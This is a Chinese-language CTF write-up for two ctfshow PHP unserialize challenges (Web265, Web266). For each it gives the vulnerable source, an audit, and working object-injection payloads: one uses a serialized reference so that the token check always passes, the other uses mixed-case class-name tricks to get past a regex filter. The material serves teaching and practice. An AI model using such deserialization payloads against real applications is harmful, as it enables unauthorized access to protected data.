Web265
源代码:
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
代码审计:
包含了flag.php文件。
传参ctfshow,反序列化后赋值给对象ctfshow。
调用ctfshow对象的成员变量token,赋值为mt_rand()函数生成的随机数的md5加密编码。
调用login方法,当token与password强比较相同时,返回flag.
思路:
要想让token与password完全相同,只能让两个变量指向同一个内存地址,这样当token被重新赋值之后,password的值也随之改变,两个变量的值时刻相同。
PHP中,可以使用&
符号进行地址传参。
$token=1;
$password=&$token;
这样就将token的地址传给了password,token改变时,password也改变。
脚本:
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = new ctfshowAdmin(1,2);
$ctfshow->password = &$ctfshow->token;
echo serialize($ctfshow);
echo "<br />".urlencode(serialize($ctfshow));
运行结果:
O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";R:2;}
O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bi%3A1%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D
EXP:
payload:
https://ff11668f-d763-4fea-87d1-78965e9229ec.challenge.ctf.show/
?ctfshow=O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bi%3A1%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D
得到flag.
拓展:
指针引用:
我们注意到脚本中构建的对象的序列化结果是这样的:
O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";R:2;}
password的值变成了R:2
。
R代表引用类型,指针从对象本身开始,也就是如果要引用对象本身,则R:1。而第一个元素指针为2,所以这里是R:2。
Web266
源代码:
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
代码审计:
file_get_contents(‘php://input’) 用于读取请求体中的值,也就是我们POST方法传递的值。
__toString() 方法用于一个类被当成字符串使用时应怎样回应。
最后的正则匹配,如果匹配到ctfshow字符串,就会抛出错误,终止程序的运行。
思路:
我们可以控制的参数是 $cs,传参方法是在请求体中直接传入它的值。
绕过对ctfshow的过滤,即可执行析构函数__destruct,从而得到flag.
构造序列化字符串应该是这样的:
O:7:"ctfshow":2:{s:8:"username";i:1;s:8:"password";i:2;}
对ctfshow进行大小写混写绕过即可。
EXP:
在请求体中输入payload:
O:7:"cTfshow":2:{s:8:"username";i:1;s:8:"password";i:2;}
在请求体中输入就不要url编码了,直接传即可。
得到flag.